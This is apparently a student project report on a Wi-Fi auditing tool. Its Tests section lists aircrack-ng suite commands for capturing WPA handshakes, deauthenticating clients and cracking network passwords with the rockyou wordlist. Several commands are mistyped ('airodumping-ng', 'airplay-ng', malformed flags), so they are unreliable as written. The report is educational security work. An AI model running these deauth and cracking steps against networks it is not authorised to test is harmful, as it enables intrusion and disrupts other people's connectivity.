# Wi-Fi Security Auditing Tool

Antonio Jackson

Titorian Huggins

Tobiloba Ifenikalo

# Introduction

An auditing tool allows a user to get real-time information and the ability to identify any suspicious activities within a network. The tool can scan for networks to assess any breaches, intrusion attempts, vulnerabilities, and risks. Companies need this tool to help scan potential threats, as it allows all their acquired information to be put into one solution that can allow companies to read their analysis and act accordingly. Password cracking is also often implemented into these tools to allow ethical hackers, penetration testers, and security professionals to test a system's vulnerabilities and to help strengthen the company's password policies. All of this is essential for an auditing tool to possess as it’s the most efficient method for scanning networks.

# The Problem

As the topic describes, a tool is to be built that can detect Wi-Fi networks, capture handshakes, attempt password cracking, and implement techniques that will be able to detect rogue access points. The tools to create such a program involve Python with Scapy and pywifi, C++ with its Aircrack-ng, and hardware that includes a wireless network adapter with monitor mode capability.

# Solution

We developed a tool that was used in Kali Linux and was created with Scapy, with aircrack-ng, airmon-ng, and airodump-ng also developed into it. Scapy was used to help detect what devices are currently on a Wi-Fi network, scanning through the network to detect devices connected to it. Airodump-ng is used to capture packets from the WEP or WPA handshakes, which can then be used with aircrack-ng. Airmon-ng is a script that is used to enable monitor mode on any wireless interface, it was essential to continue developing the tool. Aircrack-ng is used in this project to both monitor any captured packets and attempt to crack passwords for Wi-Fi networks.

# Tests

The following is code that was intended to be used for the project to capture the handshakes and crack the passwords.

1. sudo airmon-ng check kill- Kills any process that could interfere

2. sudo airmon-ng start wlan0- Changes the network adapter to monitor mode

3. sudo airodump-ng wlan0mon- Searches and displays all access points

4. The access point that you make sure to write down the BSSID and the channel number

5. Must monitor open and run one of these commands on each one:

sudo airodumping-ng <file name> - c <channel number --bssid <BSSID> wlan0mon- Once you see the device you want, make handshake and connect to the network Hit CTRL c, and the handshake is access point are saved in that file created

sudo airplay-ng --deauth 0 -a <bssid> wlan0mon- This kicks off devices from the network

6. sudo airmon-ng stop wlan0mon- Takes the network adapter out of monitor mode

7. sudo aircrack-ng <file name> - w /usr/share/wordlists/rockyou.txt- Cracks the password to the network saved in the file.  
  
This code was then implemented into Python so that Kali Linux could execute the code in the terminal.  
  
A screenshot of a computer program

AI-generated content may be incorrect.

# Results

Our code can scan for access points to see what devices are connected to them, along with that, we were also able to capture a handshake while scanning for points. Lastly, we were able to adjust our code to be able to crack the password on an access point that it has scanned.

# Conclusion

The tool was successfully implemented and can properly scan networks, capture handshakes, identify rogue access points, and crack passwords. Ethical considerations included the fact that our tool was tested strictly on our own home Wi-Fi network or a private Virtual Machine network. This tool has not been tested anywhere else, and it follows ethical considerations and responsible use guidelines.

# Code and Execution Screenshots

# A screenshot of a computer program AI-generated content may be incorrect.

# 

Handshake capturing:

Password cracking: